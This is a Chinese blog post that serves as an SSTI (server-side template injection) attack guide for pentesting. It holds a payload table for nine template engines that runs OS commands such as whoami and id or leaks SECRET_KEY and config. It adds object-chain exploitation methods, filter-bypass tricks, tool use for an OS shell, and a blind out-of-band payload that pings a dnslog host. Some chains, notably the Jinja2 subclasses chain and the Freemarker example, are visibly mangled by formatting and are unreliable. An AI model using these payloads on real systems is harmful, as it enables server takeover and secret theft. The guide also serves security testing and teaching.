web安全-SSTI(服务器模板注入)

1. 核心概念与分类

SSTI的本质是用户输入被作为模板内容直接拼接并渲染。根据结果可分为:

  • 有回显:注入的表达式结果直接显示在页面上。
  • 盲注/无回显:结果不显示,需通过DNS外带、时间延迟等方式判断。
2. 常见模板引擎与测试Payload(关键识别点)

确定模板引擎是第一步 ,可通过报错信息、特定语法或通用测试值(如${7*7}、{``{7*7}}、<%= 7*7 %>)的反应来判断。

|------------|--------------------|----------------------------------------------------------------------------------------------------------|
| 语言 | 模板引擎 | 典型Payload / 特征 |
| Python | Jinja2 (Flask) | {``{7*7}} -> 49;{``{config}} 可泄露配置。 |
| | Tornado | {``{7*7}};{% import os %}{``{os.system('whoami')}} |
| | Django | {``{7*7}} -> 77(字符串拼接);{``{settings.SECRET_KEY}} |
| Ruby | ERB | <%= 7*7 %>;<%= system('ls') %> |
| Java | Freemarker | ${7*7};<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("ls")} |
| | Velocity | #set($x=7*7)$x;#set($e=$class.inspect("java.lang.Runtime").getRuntime().exec('whoami')) |
| | Thymeleaf | ${7*7};${T(java.lang.Runtime).getRuntime().exec('calc')}(需看版本) |
| PHP | Smarty | {$7*7};{php}echo id;{/php}(旧版) |
| | Twig | {``{7*7}};{``{_self.env.registerUndefinedFilterCallback("exec")}}{``{_self.env.getFilter("whoami")}} |

3. 通用利用思路(构造Payload的方法论)
  1. 探寻基类 :找到当前上下文可用的对象,向上追溯其基类,最终找到所有类的根类(如Java的 Object,Python的 object)。
  2. 寻找危险子类 :从根类向下,寻找可用的危险子类或方法 (如可以执行命令的Runtime、os,可以读文件的File,可以进行JNDI注入的InitialContext等)。
  3. 实例化与调用:通过模板引擎的语法实例化该类并调用其方法。
  • Python (Jinja2) 经典链:

    找到object:''.class.mro[2]

    找子类:''.class.mro[2].subclasses()

    找可执行命令的类(如warnings.catch_warnings,其__init__方法有__builtins__)

    {{''.class.mro[2].subclasses()40.communicate()}}

  • Java (Freemarker) 经典链:

    // 直接利用内建函数执行命令
    <#assign ex="freemarker.template.utility.Execute"?new()> {ex("id")} // 或利用Runtime {"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}

4. 攻击面挖掘(黑盒功能点)

渗透测试中应重点关注以下可能使用模板的功能点:

  • 用户资料/页面个性化 :如用户名、昵称、签名档的显示。尝试填入{``{7*7}},看个人主页是否解析。
  • 博客/论坛帖子:评论、文章内容支持富文本或特定标记语言时。
  • 错误页面:某些框架允许自定义错误页,错误页内容若包含用户输入(如URL路径),可能导致SSTI。
  • 邮件内容:系统发送的邮件内容由模板生成,且部分内容用户可控(如找回密码链接中的用户名)。
  • 密码重置功能:重置链接中的Token参数若被模板解析。
  • 模板编辑功能:后台允许编辑模板文件(高危功能)。
5. 工具使用建议
  • Tplmap:经典工具,支持多种引擎的自动化检测与利用。
  • SSTImap:更活跃的fork,支持更多引擎和绕过技术。
  • 使用场景:
    • 检测阶段 :用工具的-u或--data参数快速探测所有已知引擎。
    • 利用阶段 :工具成功识别引擎后,可使用--os-shell尝试获取交互式shell。
    • 注意:工具并非万能,复杂环境或WAF绕过仍需手工调整。
6. 实战注意事项与技巧
  • 报错是金 :故意输入错误语法(如{``{7*'7'}}),从详细报错信息中获取模板引擎类型、框架版本甚至部分代码路径。
  • 盲注与带外 :无回显时,可尝试执行ping、curl、dnslog等带外通道命令。
    • Python示例:{``{''.__class__.__mro__[2].__subclasses__()[40]('ping your.dnslog.cn', shell=True)}}
  • 绕过过滤:
    • 拼接 :'c'+'at' 或 "c"~"at"(不同语言语法)
    • 编码:使用Unicode、Hex绕过关键字过滤。
    • 利用环境变量 :$PATH等。
    • 利用模板引擎特性 :如Jinja2的|attr()过滤器绕过点号过滤。
  • 权限与语言:确认后端语言和框架后,针对性地构建利用链。Java SSTI(如Freemarker)常能直接RCE,Python SSTI(如Jinja2)则需要更复杂的对象链寻找。

💡 总结

SSTI的核心是将用户输入与模板渲染代码混淆。挖掘时,要对任何可能被"二次处理"和"格式化"的用户输入保持敏感。利用时,需遵循"基类→子类→危险方法"的思路,结合有回显/无回显手法,并善用工具辅助识别。在复杂的Java框架中,SSTI常与表达式注入(如SpEL)结合,形成新的攻击面。

相关推荐
Zhao-Jichao2 小时前
AI Prompting for Everyone 课程笔记 - P20 实验与期末项目 Lab and Final Project
前端·人工智能·笔记
lisw052 小时前
作为人类代理的大语言模型及其角色分类!
人工智能·学习·语言模型
Z21-X2 小时前
云原生运维实战笔记:企业网站综合上云部署与云运维服务全景解析
运维·笔记·学习·云原生
坤坤子吖2 小时前
Linux网络编程:UDP进阶,从字典服务器到简单聊天室
linux·服务器·网络·c++·笔记·学习
Rabitebla2 小时前
【Linux学习笔记】进程篇(九):进程的创建与退出——fork、写时拷贝与退出码
linux·c++·笔记·学习
楚山之石3 小时前
【MRM】CAPLEX 对比剂灌注 MRI 开源术语库:ISMRM OSIPI 共识报告
图像处理·人工智能·学习·mri
智者知已应修善业3 小时前
【51单片机实现从下到上,从上到下,从中间到两边,两边到中间】2024-10-23
c语言·经验分享·笔记·单片机·嵌入式硬件·51单片机
杨凯凡3 小时前
IT日报|2026-11-04:Copilot 接入 JetBrains Air、CodeQL 2.27.3、Agent 依赖自动更新
网络安全·github copilot·codeql·ai coding·dependabot
欢欢李6 小时前
【LTE L3 笔记 06】LTE下行参考信号
笔记·无线通信·物理层·lte·空口协议
前进的李工14 小时前
Agent 学习笔记 05:系统提示词应该怎么写
笔记·学习·prompt·agent·个人开发·few-shot·ai应用开发